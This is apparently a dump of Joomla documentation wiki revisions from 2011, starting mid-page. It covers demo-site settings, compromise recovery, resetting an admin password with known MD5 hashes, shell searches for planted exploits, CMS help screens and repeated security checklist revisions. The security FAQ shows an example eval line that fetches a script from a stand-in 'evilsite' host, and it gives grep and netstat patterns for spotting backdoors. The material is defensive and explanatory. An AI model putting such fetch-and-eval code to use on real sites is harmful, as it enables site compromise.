/** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */
var $RESTRICT = 0;

For a demo site it is advised to following:

/** @var string Whether site is a production = 1 or demo site = 0 */
var $SITE = 0;
/** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */
var $RESTRICT = 1;

$SITE = 0
// Allows multiple user logins with only one account. By default Joomla!
// allows only one active session per account as a security feature.

$RESTRICT = 1
// Disables those logging in, both Front-end and Back-end from changing
// user details - like password and username

These settings are used on the official demo site http://demo.joomla.org

You should also make all files and folders nonwriteable - especially the configuration.php file. Also recommend you setup an automatic cron job that refreshes the database at a set interval (in our case 60mins) from a db script.

== How can I view a live site while developing, but hide it from others? ==

'''Introduction'''

The method described below should be used for relatively minor modifications, such as adjusting menus or quickly reorganizing content sections. More complex tasks, such as installing new components or adjusting complex configuration settings should be performed and tested on a development server first. Not only does this keep your public site up and running, but it also lets you test at your leisure, thus reducing errors. One way to do it is to create a sub-domain (i. e., dev.yourdomain.com) and install Joomla! there just as it is installed on your public site.

'''Directions'''

1. Login to the administrator section, and choose: Site > Global Configuration.

2. The first option you'll see is is to set the site offline. Choose "Yes" and press the Save button. This will hide prevent display of all site pages, and replace them with the following message:

"This site is down for maintenance. Please check back again soon. message instead."

3. While you are logged into the "back end" administrator system, you can still view the "front end," by choosing Site > Template > Preview. This will display the site as it would appear to users along with a warning at the top that the site is down for maintenance.

= Site Recovery =

== Help! My site's been compromised. Now what? ==

'''Directions'''

# '''Change all relevant passwords:''' Assume your passwords have been harvested and immediately change all critical passwords, including shell access, FTP access, Joomla! Administrator accounts, and the database account.
# '''Check raw logs:''' Identify when and how the attackers gained access to your site by carefully reviewing your raw server logs. Make careful note of the date/time and names of attacked files. Note that these logs may have been deleted or altered, so a lack of evidence does not prove a lack of activity.
# '''List recently modified files:''' Before making any changes to your site, generate a list of recently modified files. Here's a php script that will list the files for you. Remove this script as soon as you have your list and don't publish a link to it!
# '''Note suspicious newly-created files:''' Use this list to identify new files that don't belong. Pay particular attention to their creation and modification dates, and correlate them to the dates of attacks shown in your log files.
# '''Note suspicious recently-modified files:''' Check the modified files list for any files that were recently changed. Pay particular attention to the modification, and correlate them to the dates of attacks shown in your log files.
# '''Check for bogus CRON Jobs:''' Hacked cron jobs can be setup to reinfect your site over and over again.
# '''Coordinate with your host:''' If you have identified how you were cracked, report the method to your host. If you are on a shared server, you may habe been attacked through another vulnerable site on your server. Report this to your host. A reputable host will appreciate your efforts in this area.
# '''Delete the entire public_html directory:''' This is the best way to guarantee that every potential vulnerability in that site is removed.
# '''Delete related database records:''' This step may only be possible if you have good backups. Simple script kiddies, who are only trying to mark your index page, may not attack your database, but professionals are usually very interested in confidential data, such as passwords. They may pose as script kiddies to avoid suspicion while repeatedly harvesting confidential information from your database.
# '''Reinstall everything:''' Use pre-crack backups. If you don't have good backups, go on to step 10.
# '''Reset critical passwords again:''' You must reset your passwards again now that your server is finally cleaned of any possible, hidden trojan horses.
# '''Rebuild site:''' If you are unable to rebuild from clean backups, rebuild your entire site using original, pre-crack installs. Use only the latest stable versions of all software, and check the List of Vulnerable Extensions
# '''Review security processes:''' Follow standard security precautions for important settings in php.ini, globals.php, configuration.php, .htaccess, etc.
# '''Review backup processes:''' If you don't already have one, add a dependable backup process to your site administration practices.
# '''Stay watchful:''' Attackers often return repeatedly. Closely monitor your raw logs for suspicious activity.

==How do I reset an administrator password?==

'''Introduction'''

'''Note:''' This method is for Joomla versions up to and including 1.0.12. For later versions of Joomla and Joomla 1.5.xx versions please use this '''([[How_do_you_recover_your_admin_password%3F|FAQ]])'''

Because passwords are stored using a one-way MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.

'''Enhanced Password Encryption Note Joomla! 1.0.13+ and Joomla! 1.5.x'''
This method works with the new salt-enhanced passwords. This is because Joomla! will automatically update passwords in the earlier format.

'''Directions'''

1. Use a MySQL utility such as phpMyAdmin or MySQL Query Browser .

2. Open the correct database and select the table, jos_users . (Change default table prefix, 'jos_' to your table prefix if it is different.)

3. Select the record (or table row) for your administrator account. (The default Super Administrator is user number 62.)

4. Copy and paste a known MD5 hash into the password field. You can use one of the below examples.
'''Warning:''' You must paste the password's hash value, not the password itself. You can use any of the following hashs, or create your own using one of the MD5 tools listed below.

password = "MD5 hash of password"
------------------------------------------------------
admin = 21232f297a57a5a743894a0e4a801fc3
secret = 5ebe2294ecd0e0f08eab7690d2a6ee69
OU812 = 7441de5382cf4fecbaa9a8c538e76783

5. Save the user record.

6. Point a browser to your site and log in using the Super Administrator account you just modified.

7. '''IMPORTANT:''' Once logged in, use the Joomla interface to change the password to one that only you know. This step is vital as it will 'salt' your new password, thus adding an additional level of security on top of the MD5 hash.

Note: This technique can be used to modify any other accounts password. You can also use it to change Usernames.

'''Generating your own MD5 hash from a password of your choice'''

Alternatively, you can set the password to a value of your own choice. Use tools, such as the following, to create your own strong hashed password. Use the above directions once you've generated a hash with these tools.

'''Online MD5 hash creation tools'''
* JavaScript MD5 - http://pajhome.org.uk/crypt/md5/
* MD5er - http://www.md5er.com/

'''Free MD5 utilities for download'''
* MD5 & Hashing Utilities - http://www.digital-detective.co.uk/freetools/md5.asp
* SlavaSoft HashCalc - http://www.slavasoft.com/hashcalc/overview.htm

'''Other MD5 tools'''
* There are many free online and downloadable MD5 utilities. Google "MD5 hash tool"

== How do I find exploits using the *NIX shell? ==

'''Check the active processes'''

Use the "ps" command to look for odd or unknown processes, if you aren't sure what to look for there, user "netstat -ae | grep irc" and/or "netstat -ea | grep 666" and look for ports 6666, 6667, 6668, 6669, these are common ports used for running IRC bots, they may have the name "irc" listed against them, or may have "httpd" or sometimes other regular services names.

'''Check crontab'''

Check your crontab and see if there is a strange entry, these are used in many exploits to restart IRC bots, even when admins or automated process monitors are used to kill a rogue process.

'''Check for hidden files or directories'''

Check for hidden files or directories you dont expect to see, those starting with "." (dots) and also look for ". " (dot, space) often favored to try and catch searches for hidden directories.

Other examples of searches that may help pin down exploits and/or unexpected files and folders:

find /home -type f | xargs grep -l MultiViews
find . -type f | xargs grep -l base64_encode <<< this can produce false positives, it is valid in many mail/graphics scripts
find . -type f | xargs grep -l error_reporting
find / -name "[Bb]itch[xX]"
find / -name "psy*"
ls -lR | grep rwxrwxrwx > listing.txt

== What are these strange (URL-Encoded) characters doing in my code? ==

Overview

Attackers sometimes hide code away from prying eyes by URL Encoding it.

The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.

However, if you find odd, URL-encoded text in your site's files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.

Here are some trivial, non-functioning examples of URL Encoded text:

<table border="1">
<tr>
<th>Original</th>
<th>URL Encoded</th>
</tr>
<tr valign="top">
<td>this line has spaces</td>
<td>this%20line%20has%20spaces</td>
</tr>
<tr valign="top">
<td>eval(evil_script(http://www.evilsite/?evilscript.pl"));</td>
<td>%65val%28%65%76il_%73cri%70t
%28%68tt%70%3A//%77%77%77.
%65%76il%73ite/%3F%65%76il%73
cript.%70l%22%29%29%3B</td>
</tr>
</table>

'''Resources'''

# [http://www.linkedresources.com/tools/unescaper_v0.2b1.html Text Unescape Utility]
# [http://www.w3schools.com/tags/ref_urlencode.asp HTML URL-encoding Reference]

== Edited by==
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=39784 rliskey]


[[Category:Security]]
[[Category:FAQ]]
[[Category:Security_FAQ]]

Help17:Users Groups Edit

2011-06-27T00:36:12Z

Royce: /* Description */ Minor grammar: can not -> cannot

==How to access==
To edit an existing user group, navigate to the User Groups tab of the User Manager (Users → User Manager → User Groups). Then
# click on the name of the group or
# click on the check box for the group and click on the Edit button.

To create a new user group,
# select Users → Groups → Add New Group from the menu or
# click on the New button in the User Manager: User Groups screen.

==Description==
User groups play a central role in what a user can do and see on the site. Creating user groups is normally the first step in setting up the security system for your site.

User Groups control what actions a user can take on the site. Actions include things like creating a new article, changing options for a component, or logging in. The site administrator assigns permissions for various actions to each group. Permissions for actions can be assigned at different levels in the component hierarchy (Global Configuration, component options, categories, and articles). If a user does not have permission for a given action, the user cannot perform that action.

User groups also control which objects a user can view on the site. Objects include categories, articles, modules, menu items, and others. When you create an access level, one or more user groups are assigned to it. Then, when you create an object (such as a menu item or module), the object is assigned an access level. If a user is a member of a group that is assigned to an access level, this user can view any object assigned to that access level. If not, then that user cannot view that object.

User groups can be arranged in a hierarchy. If so, then all child groups inherit the action permissions and access levels of a parent group. If used wisely, this feature can save a lot of time setting up your security system, since it means that you don't have to enter duplicate setup information.

In this screen, you can create a new user group or edit an existing user group.

== Screenshot ==
[[Image:help16-users_groups_edit-screen.png]]

== User Group Details ==
*'''Group Title'''. The name of the group.
*'''Group Parent'''. The parent group of this group. Note that each group inherits the permissions from its parent group. If you do not want this group to inherit any permissions, make its parent group "Public". See [[ACL_Tutorial_for_Joomla_1.6|ACL Tutorial for Joomla 1.6]] for more information.

== Toolbar==
At the top right you will see the toolbar:

[[Image:J16newusertoolbarshot.png|New/Edit User Toolbar]]

The functions are:
{{Chunk16:toolbaricon|Save}}
{{Chunk16:toolbaricon|SaveAndClose}}
{{Chunk16:toolbaricon|SaveAndNew}}
{{Chunk16:toolbaricon|Cancel}}
{{Chunk16:toolbaricon|Help}}

==Quick tips==
*If a new group will have similar permissions to an existing group, you can save work by making the new group a child of the existing group. That way, you only need to change the permissions that are different for the new group.

==Related information==
* [[Help16:Users_Groups|User Manager: Users Groups]]
*[[ACL_Tutorial_for_Joomla_1.6|ACL Tutorial for Joomla 1.6]]

<noinclude>{{cathelp|1.6|User Manager|Site}}</noinclude>

Help17:Users Access Levels

2011-06-27T00:35:58Z

Royce: /* Toolbar */ Minor grammar: can not -> cannot

==How to access==
You can access the User Manager by clicking on the User Manager icon in the Control Panel, or by clicking on 'Users' in the 'Site' menu on the back-end of your Joomla! installation.

==Description==
In this screen you have the ability to look at a list of your users and sort them in different ways. You can also edit and create users, groups and access levels.

==Screenshot==
[[Image:Help16-Users_access-level-screen1.png]]

==Column Headers==
In the table containing the users from your Joomla! site, you will see different columns. Here you can read what they mean and what is displayed in that column.
{{Chunk16:colheader|Checkbox}}
*'''Level Name'''. The name of the access level.
{{Chunk16:colheader|Order}}
{{Chunk16:colheader|Id}}
{{Chunk16:colheader|DisplayNum}}

==Toolbar==
At the top right you will see the toolbar:

[[Image:Help16-user_groups-toolbar.png]]

The functions are:
{{Chunk16:toolbaricon|New}}
{{Chunk16:toolbaricon|Edit}}
*'''Delete'''. To delete one or more access levels, select them and click Delete. The selected levels will be deleted. Note that you cannot delete an access level that is currently being used. If you try to delete an access level that is assigned, a message showing where it is assigned will display.
{{Chunk16:Help_screen_toolbar_icon_User_Options}}
{{Chunk16:toolbaricon|Help}}

==List Filters==
'''Filter by Partial Access Level Name'''
*'''Search Viewing Access Levels'''. In the upper left is a Search field and two buttons, as shown below.

[[Image:Help16-Users_User_Manager-Access-Level-Search-screen.png]]

Enter part of the level's name and press the Search to find matching names. Press Reset to clear the search field and restore the list of levels.

==Quick Tips==
*Click on the name of an access level to edit it.
*Click on the Column Headers to sort the users by that column, ascending or descending.

==Related information==
* [[Help16:Users_Access_Levels_Edit|Add/Edit Viewing Access Level]]
* [[Help16:Users_Options|Users Configuration]]
* [[Help16:Users_User_Manager|User Manager: Users]]
* [[Help16:Users_Groups|User Manager: User Groups]]
*[[ACL_Tutorial_for_Joomla_1.6|ACL Tutorial for Joomla 1.6]]

<noinclude>{{cathelp|1.6|User Manager|Site}}</noinclude>

Help17:Components Banners Categories

2011-06-27T00:35:42Z

Royce: /* Column Headers */ Minor grammar: can not -> cannot

==Overview==
This screen is accessed from the back-end Joomla! administrator panel. It is used to add or edit banner categories.

==How to Access==
* Select '''Components → Banners → Categories''' from the drop-down menu of the '''''Joomla! Administrator Panel'''''. You can also select the 'Categories' menu link from the [[Help16:Components_Banners_Banners|Banner Manager]], [[Help16:Components_Banners_Clients|Banner Clients Manager]] or the [[Help16:Components_Banners_Tracks|Banner Tracks Manager]].

==Description==
The Banner Category Manager is where you can edit existing Banner Categories and create new ones. Note that Banner Categories are separate from other Categories, such as for Articles, Contacts, News Feeds, and Web Links. From this screen you can navigate to the [[Help16:Components_Banners_Banners|Banner Manager]], [[Help16:Components_Banners_Clients|Banner Clients Manager]] and the [[Help16:Components_Banners_Tracks|Banner Tracks Manager]]. You must add at least one Banner Client and Banner Category ''before'' you can add a Banner.

==Screenshot==
[[Image:Help16-banners-categories-screen.png]]

==Column Headers==
Click on the column heading to sort the list by that column's value.
* '''Checkbox.''' Check this box to select one or more items. To select all items, check the box in the column heading. After one or more boxes are checked, click a toolbar button to take an action on the selected item or items. Many toolbar actions, such as Publish and Unpublish, can work with multiple items. Others, such as Edit, only work on one item at a time. If multiple items are checked and you press Edit, the first item will be opened for editing.
* '''Title.''' The name of the Category. This entry is required. You can open the item for editing by clicking on the Title.
* '''Published.''' Whether the item has been published or not. You can change the Published state by clicking on the icon in this column.
* '''Ordering.''' The order to display items. If the list is sorted by this column, you can change the order by clicking the arrows or by entering the sequential order and clicking the 'Save Order' icon in the column header.
* '''Access.''' The minimum access level that has the ability to view this category's banners.
* '''Language.''' The language of the banner.
* '''ID.''' The ID number. This is a unique identification number for this item assigned automatically by Joomla!. It is used to identify the item internally, for example in internal links. You cannot change this number.
* '''Display #.''' The number of items to display on one page. If there are more items than this number, you can use the page navigation buttons (Start, Prev, Next, End, and page numbers) to navigate between pages. Note that if you have a large number of items, it may be helpful to use the Filter options, located above the column headings, to limit which items display (where applicable).

==List Filters==
'''Filter by Partial Title'''

You can filter the list of items by typing part of the category's name.
[[Image:Help16-banners-categories-filter-name.png|center]]

'''Filter by Max Levels, State, Access or Language'''

In the upper right area, above the column headings, there are four drop-down boxes as shown below:

[[Image:Help16-banners-categories-filter-attributes.png|center]]

Only items matching the selected Max Levels, State, Access and/or Language will display in the list.
*'''Select Max Levels.''' Use the drop-down list box to select how many child categories to display. For example, selecting ''1'' will only show the top level parent categories. Selecting ''2'' will show the top level parent categories and also the first level of child categories.
*'''Select State.''' Use the drop-down list box to select the published state: Published, Unpublished, Archived, Trashed, or All (any).
*'''Select Access.''' Use the drop-down list box to select the access level.
*'''Select Language.''' Use the drop-down list box to select only categories of the selected language.

==Toolbar==
At the top right you will see the toolbar:

[[Image:Help16-banners-categories-toolbar.png]]
* '''New.''' Click on this button to create a new category. You will enter the New page for this item.
* '''Edit.''' Select one category and click on this button to open it in edit mode. If you have more than one category selected, the first item will be opened. You can also open a category for editing by clicking on its Name.
* '''Publish.''' To publish one or more categories, select them and click on this button.
* '''Unpublish.''' To unpublish one or more categories, select them and click on this button.
* '''Archive.''' To put one or more categories into the archived state, select them and click on this button.
* '''Check In.''' To check-in one or more categories, select them and click on this button.
* '''Trash.''' To trash one or more items, select them and click this button. The selected items will be placed in the trash. Note: Only empty items can be trashed.
* '''Rebuild.''' Click this button to rebuild the category tree data.
* '''Options.''' Click this button to open the Banners Global Configuration window. This window allows you to set default parameters for Banners, as shown below.
* '''Help.''' Display this help screen.

[[Image:help16-banners-manager-options-categories.png|center]]
:*'''Save.''' Saves your settings.
:*'''Cancel.''' Cancels your changes.
:*'''Purchase Type.''' This is used to indicate how the banner client purchased the display time for the banner - monthly, yearly, etc...
:*'''Track Impressions.''' Whether or not to count how many times a Banner is displayed.
:*'''Track Clicks.''' Whether or not to count how many times a Banner is clicked.
:*'''Meta Keyword Prefix.''' When matching keywords (for matching Banners to Articles based on Keywords), only search for keywords with this prefix. This can improve performance.

'''Banners, Categories, Clients and Tracks Links'''

At the top left, above the Filter, you will see the following four links:

[[Image:help16-banners-categories-links.png]]
*'''Banners.''' Click this link to go to the [[Help16:Components_Banners_Banners|Banners Manager]] page.
*'''Categories.''' This link is disabled, since you are already in the Categories page.
*'''Clients.''' Click this link to go to the [[Help16:Components_Banners_Clients|Banner Clients Manager]] page.
*'''Tracks.''' Click this link to go to the [[Help16:Components_Banners_Tracks|Banner Tracks Manager]] page.

==Batch Process==
Below the list of categories is the batch processing section:

[[Image:Help16-banners-categories-manager-batch_process.png]]
* '''Set Access Level.''' Use this drop-down list to select an access level.
* '''Select Category for Move/Copy.''' Use this drop-down list to select a category to move or copy the selected categories to. Use the radio button to select either a move or copy operation.
* '''Process.''' Press this button to execute your batch processing settings for the selected categories.
* '''Clear.''' Reset your batch processing settings selections.

==Quick Tips==
* You must add at least one Banner Client and Banner Category ''before'' you can add a Banner.

==Related Information==
* To create or edit Banners: [[Help16:Components_Banners_Banners_Edit|Banner - New/Edit]]
* To work with Banner Clients: [[Help16:Components_Banners_Clients|Banner Client Manager]]

Security Checklist/Site Administration

2011-06-27T00:23:49Z

Royce: /* Maintain a strong site backup process */ minor grammar: can not -> cannot

{{RightTOC}}

== Site Administration ==

===Use well-formed passwords===
: Change passwords regularly and keep them unique. A strong password has a random combination of letters, numbers, or symbols. Avoid using single names or words found in a dictionary. Never use the names of your relatives, pets, etc. Search the forums for a script supplied by Wizzie that automatically changes passwords. This is a great tool for administrators or multiple sites. There are numerous handy websites that have [http://strongpasswordgenerator.com strong password generators].

===Follow a password leveling scheme===
: Most users may not need more than three levels of passwords and webmasters no more than five. Each level must be completely unrelated to the others in terms of which usernames and passwords are used. Learn how to do this: [[How do you setup a powerful password scheme?]]

===Maintain a strong site backup process===
: Never rely on others' backups. Take responsibility for your backup procedures. Many ISPs state in their contract that you cannot rely solely on their backups.

===Monitor crack attempts===
: VPS and dedicated server users can run [http://www.tripwire.com/ TripWire] or [http://la-samhna.de/samhain/ SAMHAIN]. These applications provide exhaustive file checking and reporting functionality, and can be installed in a stealthy manner to help protect themselves in the event of a serious infiltration. (Note: Users of shared servers cannot use this technique.)</li>

===Perform automated intrusion detection===
: Use an Intrusion Prevention/Detection Systems to block/alert on malicious HTTP requests.
* [http://www.google.com/search?q=Intrusion+Prevention Google search]

===Perform manual intrusion detection===
: Regularly check raw logs for suspicious activity. Don't rely on summaries and graphs.

===Stay current with security patches and upgrades===
: Apply vendor-released security patches ASAP.
* Review the [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions]

===Proactively seek site vulnerabilities===
: Perform frequent web scanning.

* [http://www.google.com/search?q=%22web+scanning Google Search]

===Proactively seek SQL injections vulnerabilities===
: Use tools such as [http://www.parosproxy.org/ Paros Proxy] for conducting automated SQL Injection tests against your PHP applications.
<ul>
<li>[http://www.google.com/search?q=%22SQL+Injection Google Search]</li>
<li>[http://en.wikipedia.org/wiki/SQL_injection Wikipedia Article]</li>
</ul>

===Use shell scripts to automate security tasks===
: Search the forums for these popular scripts:
<ul>
<li>Joomla! Version Checking</li>
<li>Joomla! Component/Module Version Checking</li>
<li>Exploit Checking</li>
</ul>

===Learn about security software===
: There is not a single tool that can protect your site. If there were, it would be so heavily targeted that it would probably become a liability.

===Don't reinvent every wheel===
: Every now and then, hire a professional Joomla! security consultant to review your configurations. Do you remember the adage, ''"Anyone who acts as their own lawyer has a fool for a client."?'' The same goes for Web development. Don't expect to catch all of your own security mistakes.

== Choose A Checklist==
# [[Security Checklist 1 - Getting Started|Getting Started]]
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]
# [[Security Checklist 3 - Testing and Development|Testing and Development]]
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]
# [[Security Checklist 5 - Site Administration|Site Administration]]
# [[Security Checklist 6 - Site Recovery|Site Recovery]]

== Edited by==
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=39784 rliskey]


[[Category:Security Checklist]]

Official DTDs

2011-06-27T00:19:31Z

Royce: /* Joomla! 1.5 Internal DocTypes */ add breaks for readability

====Joomla! 1.5 Internal Doctypes====
List of doctypes used by the installation manifest XMLs for Joomla! and 3rd party add-ons.

*Template Manifest (templateDetails.xml):
<nowiki><!DOCTYPE install PUBLIC "-//Joomla! 1.5//DTD template 1.0//EN" "http://www.joomla.org/xml/dtd/1.5/template-install.dtd"></nowiki>
*Component Manifest (component-install.xml):
<nowiki><!DOCTYPE install PUBLIC "-//Joomla! 1.5//DTD component 1.0//EN" "http://www.joomla.org/xml/dtd/1.5/component-install.dtd"></nowiki>
*Plugin Manifest (plugin-install.xml):
<nowiki><!DOCTYPE install PUBLIC "-//Joomla! 1.5//DTD plugin 1.0//EN" "http://www.joomla.org/xml/dtd/1.5/plugin-install.dtd"></nowiki>
*Module Manifest (module-install.xml):
<nowiki><!DOCTYPE install PUBLIC "-//Joomla! 1.5//DTD module 1.0//EN" "http://www.joomla.org/xml/dtd/1.5/module-install.dtd"></nowiki>

=====Legacy DTDs=====
Up until December 2008, when dev.joomla.org was shut down, the Internal DTDs were hosted at dev.joomla.org/xml/1.5. Since that time, they have been moved to http://www.joomla.org/xml/dtd/1.5 and their locations corrected in Joomla 1.5.9.
Some 3rd party Joomla! add-ons may be referencing the old locations, which may work, but is deprecated.

User:Royce

2011-06-27T00:15:37Z

Royce:

I am working on migrating some sites that I maintain to Joomla!.

As I read the Joomla! wiki, I am also making minor updates. Some good candidates for more substantial updates (when I know more about Joomla!) can be found in [[:Category:Cookie_jar|the cookie jar]].

* My personal pages are [http://www.alaska.net/~royce/ here].
* On Wikipedia, I am also [http://en.wikipedia.org/wiki/User:Royce Royce].

User:Royce

2011-06-26T23:47:44Z

Royce:

I am working on migrating some sites that I maintain to Joomla!.

As I read the Joomla! wiki, I am also making minor updates.

* My personal pages are [http://www.alaska.net/~royce/ here].
* On Wikipedia, I am also [http://en.wikipedia.org/wiki/User:Royce Royce].

Security Checklist/Site Administration

2011-06-26T23:43:34Z

Royce: /* Don't reinvent every wheel */ minor punctuation

{{RightTOC}}

== Site Administration ==

===Use well-formed passwords===
: Change passwords regularly and keep them unique. A strong password has a random combination of letters, numbers, or symbols. Avoid using single names or words found in a dictionary. Never use the names of your relatives, pets, etc. Search the forums for a script supplied by Wizzie that automatically changes passwords. This is a great tool for administrators or multiple sites. There are numerous handy websites that have [http://strongpasswordgenerator.com strong password generators].

===Follow a password leveling scheme===
: Most users may not need more than three levels of passwords and webmasters no more than five. Each level must be completely unrelated to the others in terms of which usernames and passwords are used. Learn how to do this: [[How do you setup a powerful password scheme?]]

===Maintain a strong site backup process===
: Never rely on others' backups. Take responsibility for your backup procedures. Many ISPs state in their contract that you can not rely solely on their backups.

===Monitor crack attempts===
: VPS and dedicated server users can run [http://www.tripwire.com/ TripWire] or [http://la-samhna.de/samhain/ SAMHAIN]. These applications provide exhaustive file checking and reporting functionality, and can be installed in a stealthy manner to help protect themselves in the event of a serious infiltration. (Note: Users of shared servers cannot use this technique.)</li>

===Perform automated intrusion detection===
: Use an Intrusion Prevention/Detection Systems to block/alert on malicious HTTP requests.
* [http://www.google.com/search?q=Intrusion+Prevention Google search]

===Perform manual intrusion detection===
: Regularly check raw logs for suspicious activity. Don't rely on summaries and graphs.

===Stay current with security patches and upgrades===
: Apply vendor-released security patches ASAP.
* Review the [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions]

===Proactively seek site vulnerabilities===
: Perform frequent web scanning.

* [http://www.google.com/search?q=%22web+scanning Google Search]

===Proactively seek SQL injections vulnerabilities===
: Use tools such as [http://www.parosproxy.org/ Paros Proxy] for conducting automated SQL Injection tests against your PHP applications.
<ul>
<li>[http://www.google.com/search?q=%22SQL+Injection Google Search]</li>
<li>[http://en.wikipedia.org/wiki/SQL_injection Wikipedia Article]</li>
</ul>

===Use shell scripts to automate security tasks===
: Search the forums for these popular scripts:
<ul>
<li>Joomla! Version Checking</li>
<li>Joomla! Component/Module Version Checking</li>
<li>Exploit Checking</li>
</ul>

===Learn about security software===
: There is not a single tool that can protect your site. If there were, it would be so heavily targeted that it would probably become a liability.

===Don't reinvent every wheel===
: Every now and then, hire a professional Joomla! security consultant to review your configurations. Do you remember the adage, ''"Anyone who acts as their own lawyer has a fool for a client."?'' The same goes for Web development. Don't expect to catch all of your own security mistakes.

== Choose A Checklist==
# [[Security Checklist 1 - Getting Started|Getting Started]]
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]
# [[Security Checklist 3 - Testing and Development|Testing and Development]]
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]
# [[Security Checklist 5 - Site Administration|Site Administration]]
# [[Security Checklist 6 - Site Recovery|Site Recovery]]

== Edited by==
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=39784 rliskey]


[[Category:Security Checklist]]

Security Checklist/Site Administration

2011-06-26T23:42:48Z

Royce: /* Proactively seek SQL injections vulnerabilities */ Paros proxy link

{{RightTOC}}

== Site Administration ==

===Use well-formed passwords===
: Change passwords regularly and keep them unique. A strong password has a random combination of letters, numbers, or symbols. Avoid using single names or words found in a dictionary. Never use the names of your relatives, pets, etc. Search the forums for a script supplied by Wizzie that automatically changes passwords. This is a great tool for administrators or multiple sites. There are numerous handy websites that have [http://strongpasswordgenerator.com strong password generators].

===Follow a password leveling scheme===
: Most users may not need more than three levels of passwords and webmasters no more than five. Each level must be completely unrelated to the others in terms of which usernames and passwords are used. Learn how to do this: [[How do you setup a powerful password scheme?]]

===Maintain a strong site backup process===
: Never rely on others' backups. Take responsibility for your backup procedures. Many ISPs state in their contract that you can not rely solely on their backups.

===Monitor crack attempts===
: VPS and dedicated server users can run [http://www.tripwire.com/ TripWire] or [http://la-samhna.de/samhain/ SAMHAIN]. These applications provide exhaustive file checking and reporting functionality, and can be installed in a stealthy manner to help protect themselves in the event of a serious infiltration. (Note: Users of shared servers cannot use this technique.)</li>

===Perform automated intrusion detection===
: Use an Intrusion Prevention/Detection Systems to block/alert on malicious HTTP requests.
* [http://www.google.com/search?q=Intrusion+Prevention Google search]

===Perform manual intrusion detection===
: Regularly check raw logs for suspicious activity. Don't rely on summaries and graphs.

===Stay current with security patches and upgrades===
: Apply vendor-released security patches ASAP.
* Review the [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions]

===Proactively seek site vulnerabilities===
: Perform frequent web scanning.

* [http://www.google.com/search?q=%22web+scanning Google Search]

===Proactively seek SQL injections vulnerabilities===
: Use tools such as [http://www.parosproxy.org/ Paros Proxy] for conducting automated SQL Injection tests against your PHP applications.
<ul>
<li>[http://www.google.com/search?q=%22SQL+Injection Google Search]</li>
<li>[http://en.wikipedia.org/wiki/SQL_injection Wikipedia Article]</li>
</ul>

===Use shell scripts to automate security tasks===
: Search the forums for these popular scripts:
<ul>
<li>Joomla! Version Checking</li>
<li>Joomla! Component/Module Version Checking</li>
<li>Exploit Checking</li>
</ul>

===Learn about security software===
: There is not a single tool that can protect your site. If there were, it would be so heavily targeted that it would probably become a liability.

===Don't reinvent every wheel===
: Every now and then hire a professional Joomla! security consultant to review your configurations. Do you remember the adage, ''"Anyone who acts as their own lawyer has a fool for a client."'' The same goes for Web development. Don't expect to catch all of your own security mistakes.

== Choose A Checklist==
# [[Security Checklist 1 - Getting Started|Getting Started]]
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]
# [[Security Checklist 3 - Testing and Development|Testing and Development]]
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]
# [[Security Checklist 5 - Site Administration|Site Administration]]
# [[Security Checklist 6 - Site Recovery|Site Recovery]]

== Edited by==
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=39784 rliskey]


[[Category:Security Checklist]]

Security Checklist/Site Administration

2011-06-26T23:41:31Z

Royce: /* Monitor crack attempts */ links and minor grammar

{{RightTOC}}

== Site Administration ==

===Use well-formed passwords===
: Change passwords regularly and keep them unique. A strong password has a random combination of letters, numbers, or symbols. Avoid using single names or words found in a dictionary. Never use the names of your relatives, pets, etc. Search the forums for a script supplied by Wizzie that automatically changes passwords. This is a great tool for administrators or multiple sites. There are numerous handy websites that have [http://strongpasswordgenerator.com strong password generators].

===Follow a password leveling scheme===
: Most users may not need more than three levels of passwords and webmasters no more than five. Each level must be completely unrelated to the others in terms of which usernames and passwords are used. Learn how to do this: [[How do you setup a powerful password scheme?]]

===Maintain a strong site backup process===
: Never rely on others' backups. Take responsibility for your backup procedures. Many ISPs state in their contract that you can not rely solely on their backups.

===Monitor crack attempts===
: VPS and dedicated server users can run [http://www.tripwire.com/ TripWire] or [http://la-samhna.de/samhain/ SAMHAIN]. These applications provide exhaustive file checking and reporting functionality, and can be installed in a stealthy manner to help protect themselves in the event of a serious infiltration. (Note: Users of shared servers cannot use this technique.)</li>

===Perform automated intrusion detection===
: Use an Intrusion Prevention/Detection Systems to block/alert on malicious HTTP requests.
* [http://www.google.com/search?q=Intrusion+Prevention Google search]

===Perform manual intrusion detection===
: Regularly check raw logs for suspicious activity. Don't rely on summaries and graphs.

===Stay current with security patches and upgrades===
: Apply vendor-released security patches ASAP.
* Review the [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions]

===Proactively seek site vulnerabilities===
: Perform frequent web scanning.

* [http://www.google.com/search?q=%22web+scanning Google Search]

===Proactively seek SQL injections vulnerabilities===
: Use tools such as Paros Proxy for conducting automated SQL Injection tests against your PHP applications.
<ul>
<li>[http://www.google.com/search?q=%22SQL+Injection Google Search]</li>
<li>[http://en.wikipedia.org/wiki/SQL_injection Wikipedia Article]</li>
</ul>

===Use shell scripts to automate security tasks===
: Search the forums for these popular scripts:
<ul>
<li>Joomla! Version Checking</li>
<li>Joomla! Component/Module Version Checking</li>
<li>Exploit Checking</li>
</ul>

===Learn about security software===
: There is not a single tool that can protect your site. If there were, it would be so heavily targeted that it would probably become a liability.

===Don't reinvent every wheel===
